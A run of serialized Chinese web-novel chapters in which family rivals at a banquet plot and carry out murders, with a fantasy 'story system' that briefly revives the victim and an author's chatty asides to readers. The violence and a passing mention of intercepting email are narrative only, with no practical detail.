长辈们三两成群,赏花谈笑倒也十分融洽。 女生们没有不喜欢花的,牡丹雍容华贵一下吸引了所有人的目光。 “以前还觉得牡丹庸俗,这么看庸俗的是自己啊。”蓝黛从未见过这么雍容貌美的花色,一时看痴了眼。 苏韵和余笙生有同感,寻常谈起牡丹只觉得花苞硕大过于富贵招摇,但沈园的牡丹丝毫没有这种违和感,它仿佛融入了这座百年家宅的气运里,众人这才回味过来。不是牡丹招摇,是它生来富贵落不得平庸之眼。 “呀,花都开了。” 姜花衫满院牡丹里走来,但是众人眼前一亮。 名花在前,但她丝毫不输牡丹半分,反而人比花艳,随意往这万紫千红里一站里最名贵的一朵花。 女生们神情微动,心情忽然有些复杂。 鲸港城对于姜花衫的争议很有多,她身上唯一一个毫无争议的标签就是美貌,姜花衫的确长了一张杀人利器的脸。 沈娇将众人的反应看在眼里,故作不经意朝姜花衫招手,“快开宴了,怎么这个时候才开?” 姜花衫瞥了沈兰晞一眼,快步走到沈娇跟前,笑吟吟,“刚刚在菊园听兰晞哥训话呢。” 沈兰晞抬眸扫了她一眼,漫步走到沈庄跟前,“爷爷。” 沈庄,“你做哥哥的要让着妹妹,吃饭了还训什么话?” “……”沈兰晞神色淡淡,“知道了。” 姜花衫得意笑了笑,转身去玻璃房看花。 沈兰晞原本想跟上,老爷子轻轻拍了拍他的肩膀,“坐着陪爷爷说说话。” “嗯?奇怪了,怎么没看到姚淄磊?” 傅绥尔在人群里看了一圈,转身朝沈执招手,“沈管家,姚淄磊不见了。” 闻言,姚礼侧头看了过来。 沈庄正低头与沈兰晞说话,听见动静立马开口,“沈执,去找找,后院那么大别是迷路了。” “是。” 沈执应声出了牡丹园。 关鹤挑眉,端起茶盅偷偷打量周宴珩,沈执发信息让他们十一点三十分把姜花衫引去秋园,看这架势,这老狐狸是想在众人眼皮子底下动手,他实在很好奇,周宴珩会怎么做? 周宴珩垂眸看了看腕表,站起身。 周国潮和沈让聊得甚至投缘,转眼见周宴珩准备离园,不由好奇,“阿珩?” 周宴珩回身,眉眼无害,“爷爷,这太闷了,我出去走走。” 周国潮不着痕迹看了沈眠枝一眼,神情不显,“去吧,别走远了。” 周宴珩点头,转头出了牡丹园。 关鹤见状立马不由在心里暗骂,这狗疯子到底要做什么?真是好奇死他了。 * 秋园。 姚淄磊嘴里贴的胶带,四肢被缚绑在桌腿的拉杆上,他眼里满是绝望,从沈执踏入这个园子那刻他便知道自己要被灭口了,这位沈家总管绝不会让他泄露他的秘密。 庭院萧条,连正午最烈的阳光也照不进一丝温暖。 过了会儿,门院里传来动静。 沈执不动声色躲进门后,等了一会儿,却见周宴珩独自一人沿着廊桥迎面走来。 “叩叩——” 周宴珩环顾了一圈,随意叩响窗扉。 沈执皱着眉从主屋的门口走了出来,“周少爷,这是什么意思?人呢?” 周宴珩看了看腕表,“还不到时间。”说着,漫不经心跨进门槛。 沈执往后看了一眼,确认没有人后立马掩上门,“周少爷是不是记错时间了?说好的十一点三十……” 忽然,沈执气息顿住,脸上的表情还停留在措不及防的惊吓中,脖子上的动脉已经断裂血水飞溅。 周宴珩侧身,滚烫的血水滋了姚淄磊一脸。 …… 你们真的太优秀了,说为爱发电就多了一百块~ 第517章 书灵模式:重启 “!” “嗯嗯……!!!” 姚淄磊半张脸浸透着血水,吓得瞳孔和身体一直不停在颤抖。 周宴珩一步一步逼近,慢慢蹲下身,语调像讨论天气一样随意,“你都看见了?” “嗯嗯!!!” 姚淄磊不停地摇头,嘴里支支吾吾企图唤醒周宴珩最后一丝良知。 只可惜现实是残酷的,不管他如何哀求都改变不了将被灭口的事实。 周宴珩慢条斯理撩起他粉色衬衣,用衣角包裹着刀柄,刀尖指向他的左心房。 姚淄磊满脸绝望。 “扑哧——” 利刃刺穿皮肉的声音利落干脆,一滴鲜血飞溅落在了周宴珩的鼻尖。 转眼间,姚淄磊身体好似泄去了灵魂的力量,眼底的眸光渐渐散去直到最后黯然沉寂。 周宴珩神色淡然,用带血的刀割开了姚淄磊嘴上和手脚上的绳索,随即又把刀放进姚淄磊脱离的掌心。 做好这一切,他慢慢起身,抬手揩去鼻尖的红印,转身踏出了房门。 * 【叮——】 【警告!由于当前章节重要剧情人物消失,主线剧情已严重偏离,现已为您开启书灵模式,强制重启。】 【生成完毕——】 【提示:书灵重启模式冷却时间为二十四小时,二十四小时内重启人物不可受到二次生命伤害,否则将永远脱离剧目。】 【警告:主线偏离90%,剧目世界将毁于一旦。】 姜花衫正兴致勃勃在牡丹园里赏花,脑海里冷不丁响起一串电子音,信息冲击太大,她嘴角的笑容顿时凝固。 当前章节重要剧情人物消失? 什么意思? 是……谁死了吗? 忽然,一阵风吹来… 雍容明艳的牡丹骤然褪色,所有人像是被按下了暂停键站在原地一动不动。 这样的场景姜花衫已经经历过很多次,早已见怪不怪。 她心知肯定是剧目之力又在搞鬼,思忖片刻转头走出了牡丹园。 “滴——” 摆放在紫檀茶案前的茶汤重新荡漾出水纹,秋日阳光落进眼里,牡丹重新着色,人们都活了过来,暗淡的世界再次焕发出生机。 周国潮和沈让交谈了几句便又转头看向垂花门外,“阿鹤,你去看看阿珩怎么还没回来?” 关鹤正准备起身,这才发现自己已经站了起来,他抓了抓头似醒非醒往门口走去。 就在这时,周宴珩从院外走了进来。 周老爷子立马朝他招手,“阿珩,快过来。” 赏花期间,周国潮一直和沈执在说话,沈执又特意把沈眠枝叫到跟前说话,那架势明眼人一看就知道怎么回事? 周宴珩并未拒绝,扯着嘴角笑了笑,故意从姜花衫面前走了过去。 “嗡——” 两人擦肩而过的瞬间,姜花衫的手机忽然发出震动,她神色微动,转头进了牡丹园。 “嘶~” 关鹤一脸嗔怪,周宴珩好像换了个人似得,与沈家父女相谈甚欢,期间惹得沈眠枝好几次都忍不住羞红了脸。 这狗东西玩什么呢?他不是都为了姜花衫出去跟沈执谈判了吗,怎么回来就逗沈眠枝,这是要脚踏两只船?! 姜花衫转进温室,顺手拿出手机。 刚点开屏幕,便看见一条周宴珩的邮箱信息。 不知道为什么?她忽然有种不好的预感。 姜花衫垂眸,指尖轻轻点进邮箱链接,瞬间跳转出一张大图,满目猩红几乎占据了她整个手机屏幕,除此之外,邮件还附带了两段音频。 “……” 姜花衫顿时感到头皮发麻,连指尖都忍不住在颤抖,确认了照片里的人是沈执之后,她轻轻点开音频,放置耳边。 -【“你如果真要对阿鹤动手何必这么兴师动众,沈家直接出手就是,说吧!闹这么多想让我们做什么?”】 -【“你们刚刚也看到了,有人买通了你们赌场的工作人员,给那两个乡巴佬设局,我要你们找出到底是谁在背后搞鬼。”】 -【“就这?”】 -【“当然没那么简单。找出来后……杀了他。”】 -【“你……你想要我们帮你杀人?”】 -【“好。我答应你。”】 这是之前她们在登利马场的交易谈话,没想到周宴珩竟然录了音。 姜花衫神色淡淡,继续点开第二段音频。 -【现在,我们是一条船上的人了。】 姜花衫冷着脸,按灭了手机。 一开始找上周宴珩便是看准了他疯起来没有边界,只是她还是低估了周宴珩的发疯时阴暗欲望,他故意选在沈园对沈执下手,杀了人又故意发邮件威胁她,其实都是在警告她,人他已经杀了,若是她还不上他的船,他可就真要生气了。 姜花衫有些头疼拍了拍额头。 若是让爷爷知道她联合外人密谋杀害了沈执,只怕他老人家会失望吧? 爷爷一直教育他们,手中利刃不可向内,但事与愿违,她终究只要辜负爷爷的教导了。因为在她心里,有爷爷的沈家才是家,为此她可以斩尽一切恶鬼,沈执只是开始而已。 至于周宴珩的威胁…… 姜花衫眼底闪过一抹暗色,转头看向人群里的沈眠枝,她头顶的标签闪着绿色的荧光,好似比以前的色彩更鲜亮了。 若是这个标签不摘除,沈眠枝永远得不到真正自由。 察觉到姜花衫的目光,周宴珩撩着眼睑看似落在沈眠枝的目光直直抓住了姜花衫。 姜花衫皱眉,想也没想留给他一个后脑勺。 狗东西,还真以为她看不出穿他的打算? 以周宴珩的心性,绝不可能只是为了逼她就范便故意在沈园杀人,他惯常喜欢做一石二鸟一箭多雕的事,所以狗东西必然必然还有更大的企图。 就在姜花衫认真琢磨周宴珩到底打了什么主意时,脑子忽然一惊想起一件很重要的事。 刚刚剧目提示好像说了一个很重要的信息点。 -强制重启、章节重要任务、冷却时间、人物不可收到二次生命伤害。 姜花衫抬眸,澄净的眸底瞬间惊起滔天骇浪。 不会吧? 难不成沈执还能起死回生? …… 第518章 黄雀在后 午间阳光正好,池塘里褪色的莲叶也镀上了一层温暖的金色。 明媚的曦光从门缝里挤了进来,忽然,垂落在血泊里的手动了动,渐渐地,那只手动弹的幅度越来越大,连带着原本已经僵硬的身体慢慢抽动。 “嗯……” 沈执猛地一下睁眼,灰白的眸色瞬间聚光,瞳孔里的虹膜一圈一圈回缩。 短暂喘息片刻,沈执捂着脖子慢慢爬了起来。 “吱呀——” 就在这时,房门发出一声清脆的响声,白色的光影顷刻间落满落满了整个房间,有人逆着光走了进来。 沈执蜷缩着身子慢慢抬头,待看见光影里的人瞬间松了一口气,急切渴望朝那人伸手。 “嗯嗯……嗯嗯……” 他伤了声带不能说话,只能发出支支吾吾的声音。 “沈管家,你受伤了?” 那人一步一步走出光影,俊美的眉眼甚至温和,与他踩着血水冷眼旁观的动作形成了鲜明对比。 沈执点头,拽着沈归灵的裤腿,“嗯嗯……我……” 沈归灵蹲下身,盯着沈执打量的片刻,抬手一挥,刀刃顺着之前的伤口横空划过,沈执刚刚恢复光彩的眼眸再次黯灭。 “滴——” 浓稠的鲜血顺着银色刃壁落进掌心。 沈归灵丝毫不在意,站起身看向桌角旁的姚淄磊。 他思忖片刻,抬脚踢开掉落在姚淄磊脚下匕首,随意拉了张椅子入座。 “……” 姚淄磊此时人已经吓麻了。 短短十五分钟,他经历了目睹凶杀,到被凶杀,到诈尸,再到诈尸被杀,这一生的波澜壮阔就在这黄金十五分钟里,此时,他再没有勇气直面二次被杀。 “想活还是想死?” 就在他快要精分,耳边传来沈归灵漫不经心的声音。 “怦——怦——怦——” 姚淄磊顿时心跳如雷。 “……” 屋子里两个死人,除了沈执就是他,现在突然出现这么有生命力的心跳总不会又是沈执诈尸吧? 姚淄磊面如死灰慢慢爬了起来,一把抱住沈归灵的腿,“想活!我想活!阿灵哥求你高抬贵手放我一马吧?呜呜呜呜!我还没有娶到姜花衫,我还不想……” 话音未落,沈归灵用尖刃抵着姚淄磊的下巴,“那你还是死吧。” 姚淄磊,“……” * 起死回生这种荒诞的想法一出,姜花衫感觉自己整个人都不好了。 从剧目世界的提示来看,沈执就是当前章节重要的角色,重要到如果他缺失许多既定剧情都推动不了,以至于剧目直接完全不讲武德,强行重启剧情。 从目前的情况分析,基本已经可以确定沈执就是其中一个内鬼,由此可见,他在剧目中扮演的其中一个重要角色一定和杀死爷爷有关,因为若没有沈执从内接应,爷爷出事那天不可能身边一个人都没有。 不行! 不能让沈执活过来。 若是他活过来,不仅爷爷会有危险,她联合周宴珩密谋的计划也会败露,现在这种情况,她继续潜伏在沈家逐个击破胜算才会更高。 念此,姜花衫肉眼可见慌张起来,想也没想,转身冲出牡丹园。 “衫衫?” 傅绥尔察觉到她的反常,立马上前拉住她,小声问道:“你怎么了?” 姜花衫瞬间清醒,摇了摇头,喃喃自语,“不行。” 就算她现在冲出去又能怎样? 她根本不知道沈执现在在哪?沈园这么大找起来也是大海捞针,而且从刚刚到现在,已经过去了将近十分钟,她早就已经错过了最佳补刀时间。 难道又要被剧目强行扳正了? 姜花衫越想越气,转头狠狠瞪了周宴珩一眼。 成事不足败事有余的狗东西,杀个人都杀不干净,废物。 周宴珩正低头和周国潮说话,冷不丁感受到一束死亡凝视,下意识抬眸扫了过去,发现是姜花衫时,眼里的明显多了几分兴味。 她这次的反应倒是比她想象中激烈许多,看来警告是有效果了。 姜花衫冷哼了一声,转身往沈庄座位走去。 若是沈执没死,一定会把自己被暗杀的事情全都说出来,到时候周宴珩为了自保一定会出卖她。沈家最忌讳的就是内斗,她解释不清爷爷碍于家主身份只能秉公处理,少不得会像五年前一样发配襄英。 不行! 她绝不离开沈园。 姜花衫想也没想,直接挨着沈兰晞的椅子落下,“兰晞哥~” 沈兰晞被茶水烫了一下,停顿片刻放下茶盏,“怎么呢?” 姜花衫抿嘴笑了笑,提着茶水给他添茶,“我想知道,上次你在菊园跟我说的话还算不算话?” 沈兰晞低头看着手里的茶汤,一时有些不敢喝,见状,姜花衫主动推着他的手将茶盏贴近唇边。 “你说的,不管我做了什么,一定都是别人的错。” 沈兰晞看着她,低头抿茶,“算话。” 应口瞬间,茶汤入喉,舌尖泛甜。 “真的?”姜花衫顿时眼前一亮,又凑近了几分,举起手掌在他眼前晃了晃,“击掌联盟。咱们可说好了,以后万一有人栽赃陷害我,或者要把我赶出沈园,你一定要站在我这边。” 沈兰晞不知道姜花衫为什么这么执着于自己会被赶出沈园,她难道真不知道,她才是沈家唯一一个地位固若金汤的人,他们现在绞尽脑汁的所求的,不过是将她留在身边。 但他无法拒绝向他提出联盟条件的姜花衫,因为这是她最靠近她的一次。 沈兰晞抬手,修长的手指几乎可以将她整个手掌都包裹住,掌心相抵的瞬间,好像有千万根情丝爬满的他的心头。 “好。” …… 宝宝们,你们不要再问我啥时候完结了,实在是我自己也不知道~这篇文我构思了很久,还有好多剧情没有写,修罗场才写了冰山一角,一时半会儿是不可能完结的。 不过,长有长的好,我们相互陪伴的时间也能长一点~哈哈,让为爱发电来得更猛烈些吧~~~ 第519章 宴前暗涌 沈清予是最后一个入宴的,前脚刚进牡丹园便愣在了原地, 从他的视角:微风拂面,姜花衫面若桃花含羞带怯,沈兰晞张牙舞爪,龇露着獠牙拽着姜花衫的手死死不放。 大庭广众,众目睽睽,朗朗乾坤就这么牵上了? 沈清予微微眯眼,沈兰晞这狗东西还真像他说的毫不遮掩。 畜生! 他是爽了,但怎么就不替小花儿考虑? 一开始他也被沈兰晞迷惑了,觉得是自己太怂了。 后来转念一想,这事还是不对! 小花儿心心念念想做爷爷的孙女,她把他们当哥哥所以才亲近信赖,结果他们却利用这种信任偷生暗欲,这种事他沈兰晞怎么还有脸说从未遮掩? 狗东西!不遮掩还有脸了?简直无耻!没有下线! 沈清予冷笑了一声,目不斜视穿过人群,双手抱胸停在两人面前。 姜花衫只感觉头顶覆上了一片阴影,刚抬眸,沈清予一巴掌拍了下来,直接把她和沈兰晞的联盟拍散了。 “……” 姜花衫眼角抽了抽,正要说话,沈清予一把拉住她的椅子一百八十度转了个方向,自己则倚靠着桌面,横挡在两人中间。 “聊什么呢?给我也聊聊?” 都已经是明牌的人,各自心里藏了什么心思大家都清楚。 沈清予眼里藏锋,沈兰晞也没看到哪里去,垂眸看了一眼手背上的巴掌印,瞳孔里一片漆黑。 沈庄一早就注意到了两人气氛不对,略带警告,“你聊天不会自己搬张椅子,非得挤中间?” 沈清予笑了笑,一副混不吝的模样,“您不懂,兰晞哥就喜欢我挤中间,是不是啊?兰晞哥?” 沈兰晞面色平静,一言不发看着他。 气氛瞬间变得有些微妙。 蓝黛从沈清予进园便一直偷偷观察,见沈清予上来就挑衅沈兰晞不由替他捏了一把汗。 听说这位沈太子已经是沈家内定的继承人,沈清予这么不给面子以后会不会被报复? 沈渊生怕沈清予不知轻重惹怒沈庄,装模作样起身训斥,“清予,闹着玩也得分场合?长辈们都看着别太不像话了。” 沈清予充耳不闻,随手拉过一张椅子卡在姜花衫和沈兰晞中间,一派悠哉玩起了手机。 “……” 有病吧? 姜花衫抬眸环顾了一眼,最终松开了发硬的拳头。今天这么多外人,要是动起手丢的是沈家的面子。 沈家大房和二房向来面和心不和,沈清予的挑衅落在其他人眼里也就成了大房和二房争斗的常态,是故,众人心思各异却都没有注意姜花衫。 周宴珩淡笑着,看似同众人一样看戏围观,实则内心的情绪沉地可怕。 沈眠枝顺着周宴珩的目光看去,思忖了片刻,温声道,“听周爷爷说阿珩哥你也喜欢下棋?” 周宴珩转眸,平静看了她一眼,“是啊。” 周国潮笑着接话,“这小子自从上次输给阿灵后,一直不服气偷偷练习了好久。听你爸爸说,你也喜欢下棋?正好,待会儿吃了饭可以跟阿珩过过招。” 周宴珩笑了笑,“爷爷,这么多人听着,您好歹给我留点面子。” 沈眠枝礼貌推辞,“我只是喜欢但棋艺不精,只怕还做不了阿珩哥的对手。” 周宴珩,“谁说一定要旗鼓相当才能做对手,下着玩也行。” 周国潮对周宴珩的配合很满意,点头附和,“说的对,就当图个乐。” 不远处,苏灼独自坐在角落,眼看着沈眠枝和周家人相谈甚欢眼里满是落寞。 “啧!喜欢就去追啊。” 苏灼愣了愣,回头才发现苏妙不知什么时候来的,正一脸嫌弃看着他。 暗藏的心思被戳破,苏灼有些不自在,站起身就想走。 苏妙看不下去,一把拽着他的胳膊,“去哪?你要再这么怂,枝枝可就要被周宴珩那个坏胚骗走了。” 苏灼有些无奈,“妙妙,说话别那么难听。” “本来就是,真不知道你怂什么?哥,你现在又不是二百斤的胖子了,虽说比不上沈归灵,但比周宴珩还是绰绰有余,你能不能支棱起来啊?” “……”苏灼垂眼,“可是……她不喜欢我。” 沈眠枝看他的眼神只有平和,但看周宴珩不会,眼睛里藏着各式各样的情绪。 苏妙皱眉,“她不喜欢你,你就不能争取了?人的喜欢都是会变的,如果你只会站在角落窥视,这一辈子都不可能得到她的喜欢。” 苏灼轻笑,摇了摇头,“哪有这么容易?” 沈家和周家的交涉不仅仅是沈眠枝和周宴珩两个人的事,更是两族联姻。 同样,他和沈眠枝之间也不仅仅是喜欢和不喜欢的问题,而是这份喜欢能不能支撑他与两个家族为敌? 苏家与周家不同,比起强有力的军权,爷爷更希望他未来联姻的对象是新贵政权之后,比如总统之女余笙。 至于沈让,他一直掌管沈家暗堂早就洗不干净了,若是与周家联姻,沈让在沈家的地位也会水涨船高。 现在沈眠枝不需要付出什么就能获得最大的收益,他又何必费劲心思去赌一场未来可能会变心的爱情? 见苏灼油盐不进,苏妙怒其不争一把甩开他的手,“随便你,反正以后后悔的人又不是我。” 两人说话的功夫,郑松阴沉着脸疾步冲进了园内,苏妙一时没注意,险些被这大块头撞飞。 郑松目不斜视丝毫没有停留,径直走到沈庄身侧,“老爷子……” 俯身低语了几句,登时沈庄脸色大变,甚至失态到回头察看郑松的表情确认自己没有听错。 沈庄的反应立马引起了所有人的注意,他可是沈家的定海神针,什么大风大浪没有见过?这般受惊定然是发生了什么大事? 众人顿时警铃大作。 姜花衫低头扶额,心里一万只土拨鼠在咆哮,暴风雨终于要来了。 周宴珩斜靠着扶椅嘴角微勾。 片刻后,沈庄站起身,轻轻拍了拍沈兰晞的肩膀,笑着看向众人,“后院出了点事,我去去就来。兰晞,照顾好客人。” …… 第520章 沈归灵的局 出了牡丹园,沈庄的脸色阴沉到了谷底。 “怎么回事?” 郑松低着头,亦步亦趋跟在沈庄身侧,“阿灵少爷不愿说。” 沈庄闭了闭眼,沉默片刻又加快了脚步,“沈执呢?” 郑松,“我发现的时候,人已经死透了。” 沈庄脚步微顿,眼里闪过片刻僵滞,但又恢复如初。 午时的阳光正好落在秋园的上空,满目萧条的莲塘倒映着波光粼粼的浮光,腐朽和生机在这一刻同时存在。 庭院内外到处是保镖,沈庄快步穿过游廊,饶是已经做足了心理准备,推开房门的刹那还是被满地血水刺了眼睛。 沈执已经没有了气息,身体僵硬躺在血泊里。 沈归灵原本安静坐在窗下,见沈庄进屋立马站起身,“爷爷。” 沈庄没有回应,径直走到沈执面前,蹲下身细细看了许久才开口,“是你杀了他?” 沈归灵点头,“是。” 沈庄重重吐了一口气,撑着拐杖站起身,神色冷峻,“跪下。” 沈归灵低头,二话不说笔直跪地。 沈庄抬起拐杖轻轻点着他的肩膀,“阿灵,你还记得你进沈园第一天我跟你说过什么吗?” 沈归灵,“沈家禁止家族内斗。” 沈庄点头,“好,你记得就好,那你告诉爷爷,为什么要杀沈执?” 沈归灵抬眸看着沈庄,“因为他勾结外人想要衫衫的命。” 沈庄眼底泛起一抹幽光,“你又是怎么知道的?” 沈归灵,“白密说的。” 沈庄侧身,目色深沉看向血地里的人影,片刻后,他抬手收回拐杖,转身落座,“说说吧,到底是怎么回事?” 沈归灵调整跪姿,面向沈庄,“我路过秋园时碰巧撞见了偷跑进来的白密,一番审问才知道,他曾无意间在秋园偷听见沈执和人密谋如何杀害衫衫,当时姚淄磊也在现场,但他没有白密机警,被沈执发现后直接关进了秋园。” 沈执曾告诉沈庄,白密潜入了沈园,后来开席时姚淄磊离奇失踪,沈归灵这番说辞倒也对的上。 沈庄暂且听着,不置一词。 “为免白密信口雌黄,我特意来秋园察看情况,恰巧撞见沈执想杀姚淄磊灭口。” 沈归灵顿了顿,眉宇间略有些自责,“当时情况危急,姚淄磊万一出了什么事,沈家只怕会被连累,二者取一,我只能杀了沈管家。” 沈庄听罢,又是一阵沉默,良久后抬头看向郑松,“孟医生怎么说?” 郑松,“孟医生说,姚少爷左胸腔的伤势十分凶险,万幸他的心脏位置与常人不同长在右边,否则就算是大罗神仙也救不了。” 沈庄,“姚家小子醒了?那他又怎么说?” “姚少爷说,沈执想杀人灭口,是阿灵少爷救了他。还说,沈执打算把他和姜小姐一起推进泥塘里活埋。” 沈庄面寒如水,“去把白家那小子叫过来。” “是。”郑松转身出了房间。 屋里的气氛静地可怕,即便听了沈归灵的解释,沈庄依旧没有让他起身的意思。 沈归灵低垂着头,再没有为自己辩解一句。 少顷。 院外响起咋咋呼呼的吼叫声。 “你个刁民、贱民,竟敢对本殿下无礼,信不信我杀了你?!” 郑松充耳不闻,拎着白密的脖子将人丢进房间。白密正要起身,郑松直接从口袋里掏出一把消音手枪。 “……” 白密冷笑,起身夺枪,耳边忽然传来一道冷沉的声音。 “郑松,把枪收起来。” 白密循声看去,见一老人端坐在圆凳上,他脸色微变,收敛了气焰拍着膝盖慢慢站了起来。 两年前沈家这位老元帅曾代表A国出访白王宫,他自然认得。 白密正要打招呼,转头看见沈归灵跪在一侧,不远处还躺着一道男尸,他并非真正的傻白甜,一眼便知眼前的情况有些棘手,思忖片刻主动上前见礼。 “老爷子。” 沈庄双手拄着拐杖,抬眸打量眼前的白毛少年,“就是你绑架的小花儿?” 白密莫名地心颤了一下,不知道为什么,这老头不温不火瞥他一眼,他仿佛感受到了来自深渊巨兽的死亡凝视。 “老爷子,那件事是个误会,我……我,我虽然绑了姜花衫,但……我什么都没做。” 若非如此,沈家怎么可能还会容许白家人站着说话? 沈庄脸色冷沉,大拇指轻轻摩挲龙珠,“既然是误会,为什么又要偷偷潜入沈园,你们白家人是不喜欢走正门吗?” 若换做别人,白密早就掀桌了,但沈庄不是一般人,白密到底不敢太放肆,冷着脸,“今天这事是我一个人的主意,被你抓着算我没本事,要杀要剐悉听尊便,但你别乱攀扯白家。” “倒是有几分血性。”沈庄并未计较,继续审问,“说吧,你翻了一座山潜入沈园到底打了什么主意?” 白密,“我随便溜溜。” 沈庄摆摆手,郑松立马上前,抬脚将白密踹翻在地,一只手压住他的肩膀,另一只手在沿着衣侧四处摸索。 白密眼露凶光,“死老……” 话未说完,郑松一拳将白密打倒在地,随即站起身递上白丝巾,“老爷子,这是从他身上搜出来的。” 白密脸色微变,爬起身冲向沈庄,“还给我!” 身后的保镖迅速上前将他制服,按压在地。 “放开他。”沈庄眼皮都没抬,用拐杖撩开白丝帕,扫了一眼语调平静,“这是什么?” 白密半跪在地,神色冷沉没有接话。 沈庄并未勉强,转头看向一旁的沈归灵,“阿灵,你知道吗?” 沈归灵抬眸,光影从他头顶氤氲落下,深邃的眼窝立时覆上了一层薄薄的浅影。 “是……” “是我的头发。”白密突然抢白。 沈庄皱眉,“你带着这种东西偷溜进沈园想做什么?” 白密忽然想到什么,抬起头,“我听说你们A国有青丝结发的习俗,我……我是来送头发的。” 沈归灵垂眸,继续保持沉默。 “……送头发?”饶是沈庄身经百战也没想到会是这种结果,略有不满,“送给谁?” 肯定不能说是沈归灵,不能就露馅了。 “姜花衫。” 白密露出稳操胜券的微笑,如此,正好可以掩饰他绑架姜花衫的真正目的,谁能拒绝一个认真求爱的王子殿下呢? 沈归灵抬眸看向沈庄,老爷子摆摆手,“郑松,把他拖出去埋了。” …… 第521章 沈归灵的局(二) 怎……怎么就埋了呢?! 白密满脸不可思议,死死抱着郑松的腿,“等会!你先别动,我可是S国的候选王储,你们要是埋了我,我祖母一定会铲平沈家的!” “你倒是提醒我了。”沈庄示意郑松收手。 白密大舒了一口气,好险,差点就被沈家人当花肥了。 沈庄面色凝重,“S国要是落在你这种人手里,A国的好日子就要来了,这么看你还真杀不得。” “……”白密被气笑了,这老头儿骂得也太难听了! 沈庄点着拐杖,思索了片刻,抬眸打量他,“你祖母可知道你擅闯沈园送头发?” 白密脸色微变。 沈庄了然,“郑松。” 郑松会意,厚实的熊掌沿着白密衣侧又摸了个遍,最后从裤兜搜出一台手机。 白密的脸色由红转黑,这个死黑熊已经摸了他两遍了。 沈庄,“给你祖母打个电话。” 白密假装硬气,“没……没这个必要,我自己的事自己能处理。” 沈庄,“要是没必要就直接埋了。” “……” 这暴躁的老头。 白密没好气瞥了沈庄一眼,见事情没有转圜的余地,只能忍气吞声拨通了白家女王的电话。 “嘟——” 电话很快接通。 此时白朱拉已经喂完了大象,正在皇家园林里散步,画面切换得很快,隐约还能看见一头美洲豹闪过。 “白密,如果你真的这么闲,我会考虑让你A国的老师再给你追加几套野外求生作业。” “……”白密还没开口,郑松抢过电话递给沈庄。 沈庄露出优雅绅士的笑容,“陛下。” 女王微怔,短暂错愣后从容以对,“原来是沈老将军。” 真正的千年狐狸,一眼便能看穿对方在想什么? 沈庄拿着手机对准白密,语调温和,“不久前衫衫在白王宫承蒙陛下多方照顾,今日白殿下不请自来,沈家正好可还了当日照顾之情,同为长辈,想着陛下惦念,故此特意打个电话通知一声。” 白朱拉眼睑微弯,眼尾荡开几条优雅的皱纹,“沈老有心了。” 话落,女王那边切断了通讯。 白密顿时心悬了起来,原本以为头顶白家王储的身份是救命草,现在看其实不然,这老头儿竟然还敢打电话直接挑衅祖母,完了!老太婆的心眼比针眼还小,他现在丢了这么大的人,就算能活着出沈家也未必能活着回S国。 “那……那个……” 沈庄抬手示意郑松,“拖出去先打一顿再说。” “!” 打一顿再说? 白密万万没想到沈家老爷子行事这么草率,正要为自己辩解,郑松一把捂着他的嘴。 “嗯嗯嗯……” 白密拼命挣扎,眼神不受控制看向沈归灵,但又怕自己太明显暴露了真相,眼珠转来转最后翻着白眼被郑松拖了出去。 这白家小子什么毛病,眼睛抽风了? 沈庄面露迟疑,转头又打量起沈归灵,阳光从窗下垂落,他安静地跪在盛光里,低垂的眼睫毛镀着浮光,看上去圣洁与世无争。但沈庄知道,这一切都是假象。 察觉到沈庄的审视,沈归灵思忖片刻,缓缓抬眸,两人的目光在平静中暗暗生波。 忽然间,沈庄又想起五年前与他在花厅对峙的少年。 沈归灵心思微转,记忆中沈庄从未对他有过这样的神情,看来还是没有全部瞒过去。 良久,郑松再次进屋。 沈庄缓缓闭眼,“去,吩咐开宴,让把老大和姚礼请过来。” “是。” 沈归灵神色微动,缓缓低下了头。 沈庄轻叹了一声,眉宇间的多了几分萧瑟,“阿灵,你先起来吧。” 沈归灵点头,低垂眉眼站起身。 原以为沈庄会趁着这段独处的空隙说些什么,但他什么都没说,只是静静看着窗外的莲池出神。屋里格外安静,沈执的尸身到现在都没有处理,血腥味隐匿在空气中若隐若现。 不多时,门外传来一阵急促的脚步声,沈谦和姚礼一前一后走进了房间。 来之前郑松并未解释发生了什么事,两人进门便看见有人倒地躺在血泊中吓得脸色都白了,第一反应就是郑松是不是被谁买通了,设了个杀人局等着他们跳,转眼看见沈庄和沈归灵都在场,当即松了一口。 姚礼错愕之余不免有些尴尬,“老爷子,这是……” 沈谦冷静后立马认出了死者是沈执,不由又变了脸色,“爸!沈管家这是怎么了?是谁下的狠手?” 鲸港谁不知道沈执是沈家老爷子的左膀右臂,有人在沈园杀沈执这件事的严重性不外乎,有人把刀子递到了沈庄面前。 沈庄看了沈归灵一眼,沈归灵会意,往前走了一步,“是我杀的。” “!” “?” 沈谦和姚礼脸色变了又变,尤其是沈谦,反应过后立马沉下脸,“阿灵,你在胡说什么?” 沈归灵如今仕途正顺,若是牵扯进了人命案前途可就毁了,沈谦好不容易认可这个儿子,就算沈归灵真的杀了人也绝不会允许他做自毁前途的事。 姚礼岂会看不出沈谦的心思,表情略有些微妙。 沈庄,“他没有胡说,沈执受人蒙蔽打算挑拨姚家和沈家的关系,故而绑架了阿磊打算杀人灭口。” 姚礼瞬间坐不住了,脸色大变,“什么?!我……我儿子呢?” 沈庄略有些愧疚,“阿磊受了重伤,不过好在阿灵赶到及时保全了性命,这事算我沈家对不住你。” 沈归灵抬眸,默默看了沈庄一眼。 在沈园这五年,他无数次感受过沈庄的大爱,但从来没有像这一刻来得动荡。 从白密口中得知周宴珩和沈执要密谋杀害姜花衫后,沈归灵便马不停蹄赶到菊园,想阻住姜花衫和周宴珩碰头,恰巧沈兰晞和姜花衫结伴从园里出来,沈归灵暂时放了心转头又去查沈执的底细。 但令人奇怪的事,沈执二十岁入沈园之前的档案竟然是空的,就算利用一切暗网资源都没能查到沈执的过去,这让沈归灵意识到沈执的身份不简单。 想到姚淄磊还在他们手里,沈归灵又暗暗潜入秋园想看看他们打的什么主意,不想刚入进来就闻到了血腥味,沈执和姚淄磊双双倒在血泊之中。饶是沈归灵足智多谋也也没想到竟然有人这么疯,敢在沈家眼皮子底下杀人。 他到底是晚来了一步。 事情发展到这一步,已经不受控制。沈归灵思来想去直接用暗网监控了周宴珩的邮箱和通讯账号,若是他密谋什么一定会暗暗联系姜花衫。 果不其然,杀完人后周宴珩立马给姜花衫发了一封邮件。 沈归灵当场窃取了信息,原来杀沈执是周宴珩和姜花衫的交易,得知真相后,沈归灵人都气麻了,那祸坨子胆大包天也就算了,竟然还跟外人搭伙。 